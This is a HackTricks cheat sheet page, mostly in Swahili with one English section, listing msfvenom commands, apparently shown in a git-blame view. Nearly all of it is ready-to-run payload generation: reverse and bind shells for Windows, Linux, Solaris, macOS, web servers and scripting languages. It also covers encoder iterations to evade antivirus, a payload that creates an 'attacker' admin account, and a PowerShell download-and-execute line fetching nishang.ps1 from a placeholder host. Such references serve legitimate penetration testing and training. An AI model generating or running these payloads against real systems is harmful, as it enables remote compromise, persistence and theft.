hacktricks/generic-methodologies-and-resources/shells/msfvenom.md

253 lines
9.5 KiB
Markdown
Raw Normal View History

2023-03-05 19:54:13 +00:00
# MSFVenom - CheatSheet
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-30 20:49:23 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za kugundua kasoro!
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
**Machapisho Kuhusu Kudukua**\
Shiriki na yaliyomo yanayojadili msisimko na changamoto za kudukua
2022-11-05 09:07:43 +00:00
2024-02-11 02:13:58 +00:00
**Habari za Kudukua za Waktu Halisi**\
Endelea kuwa na habari za haraka kuhusu ulimwengu wa kudukua kupitia habari na ufahamu wa wakati halisi
2023-07-14 14:20:34 +00:00
2024-02-11 02:13:58 +00:00
**Matangazo ya Hivi Karibuni**\
Baki na habari kuhusu tuzo mpya za kugundua kasoro zinazozinduliwa na sasisho muhimu za jukwaa
2023-07-14 14:20:34 +00:00
2024-02-11 02:13:58 +00:00
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
2023-07-14 14:20:34 +00:00
***
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
## Msingi wa msfvenom
2020-11-11 00:39:24 +00:00
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
2024-02-11 02:13:58 +00:00
Pia unaweza kutumia `-a` kuainisha muundo au `--platform`
2024-02-11 02:13:58 +00:00
## Orodha
```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
```
2024-02-11 02:13:58 +00:00
## Vigezo vya Kawaida wakati wa Kuunda Shellcode
When creating a shellcode, there are several common parameters that are often used. These parameters help customize the shellcode to meet specific requirements. The following are some of the common parameters:
- **`--platform`**: This parameter specifies the target platform for the shellcode. It can be set to values such as `windows`, `linux`, or `android`, depending on the target operating system.
- **`--arch`**: This parameter defines the target architecture for the shellcode. It can be set to values like `x86`, `x64`, or `arm`, depending on the target system's architecture.
- **`--payload`**: This parameter specifies the payload to be used in the shellcode. It can be set to various payloads such as `reverse_tcp`, `bind_tcp`, or `meterpreter_reverse_tcp`, depending on the desired functionality.
2024-02-11 02:13:58 +00:00
- **`--encoder`**: This parameter allows the shellcode to be encoded using different techniques to bypass security mechanisms. It can be set to values like `x86/shikata_ga_nai`, `x86/jmp_call_additive`, or `x86/countdown`, depending on the desired encoding method.
2024-02-11 02:13:58 +00:00
- **`--iterations`**: This parameter determines the number of times the encoder will iterate over the shellcode. Increasing the number of iterations can help evade detection by antivirus software.
- **`--format`**: This parameter specifies the output format for the shellcode. It can be set to values like `raw`, `c`, or `exe`, depending on the desired format.
These common parameters provide flexibility and customization options when creating shellcode for different target platforms and architectures.
```bash
2024-02-11 02:13:58 +00:00
-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```
2023-03-05 19:54:13 +00:00
## **Windows**
2023-03-05 19:54:13 +00:00
### **Reverse Shell**
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
2023-03-05 19:54:13 +00:00
### Bind Shell
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
2024-02-11 02:13:58 +00:00
### Unda Mtumiaji
{% code overflow="wrap" %}
```bash
2020-11-09 22:18:10 +00:00
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
2023-03-05 19:54:13 +00:00
### CMD Shell
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
2024-02-11 02:13:58 +00:00
### **Tekeleza Amri**
{% code overflow="wrap" %}
```bash
2020-12-15 09:10:57 +00:00
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
```
2024-02-11 02:13:58 +00:00
### Mwandishi
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
2024-02-11 02:13:58 +00:00
### Imejumuishwa ndani ya faili ya kutekelezwa
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```
{% endcode %}
2023-03-05 19:54:13 +00:00
## Linux Payloads
2023-03-05 19:54:13 +00:00
### Reverse Shell
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
2023-03-05 19:54:13 +00:00
### Bind Shell
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
{% endcode %}
2023-03-05 19:54:13 +00:00
### SunOS (Solaris)
{% code overflow="wrap" %}
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
{% endcode %}
2024-02-11 02:13:58 +00:00
## **Malengo ya MAC**
2024-02-11 02:13:58 +00:00
### **Kuweka upya Shell:**
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
2023-03-05 19:54:13 +00:00
### **Bind Shell**
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
```
{% endcode %}
2024-02-11 02:13:58 +00:00
## **Malengo yanayotumia Mtandao**
2023-03-05 19:54:13 +00:00
### **PHP**
2023-03-05 19:54:13 +00:00
#### Reverse shel**l**
{% code overflow="wrap" %}
```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
2020-11-09 22:18:10 +00:00
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```
{% endcode %}
2023-03-05 19:54:13 +00:00
### ASP/x
2023-03-05 19:54:13 +00:00
#### Reverse shell
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
```
2023-03-05 19:54:13 +00:00
### JSP
2023-03-05 19:54:13 +00:00
#### Reverse shell
{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
```
{% endcode %}
2023-03-05 19:54:13 +00:00
### WAR
2023-03-05 19:54:13 +00:00
#### Reverse Shell
{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
```
2024-02-11 02:13:58 +00:00
{% code %}
2023-03-05 19:54:13 +00:00
### NodeJS
```bash
2022-05-27 15:32:15 +00:00
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```
2024-02-11 02:13:58 +00:00
## **Mizigo ya Lugha ya Skripti**
2023-03-05 19:54:13 +00:00
### **Perl**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```
2023-03-05 19:54:13 +00:00
### **Python**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
2023-03-05 19:54:13 +00:00
### **Bash**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 14:20:34 +00:00
2024-02-11 02:13:58 +00:00
Jiunge na seva ya [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa bug bounty!
2023-03-05 19:54:13 +00:00
2024-02-11 02:13:58 +00:00
**Machapisho ya Udukuzi**\
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za udukuzi
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
**Habari za Udukuzi za Waktu Halisi**\
Endelea kuwa na habari za ulimwengu wa udukuzi kwa njia ya habari na ufahamu wa wakati halisi
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
**Matangazo ya Hivi Karibuni**\
Baki na habari kuhusu bug bounties mpya zinazozinduliwa na sasisho muhimu za jukwaa
2022-11-05 09:07:43 +00:00
2024-02-11 02:13:58 +00:00
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-30 20:49:23 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>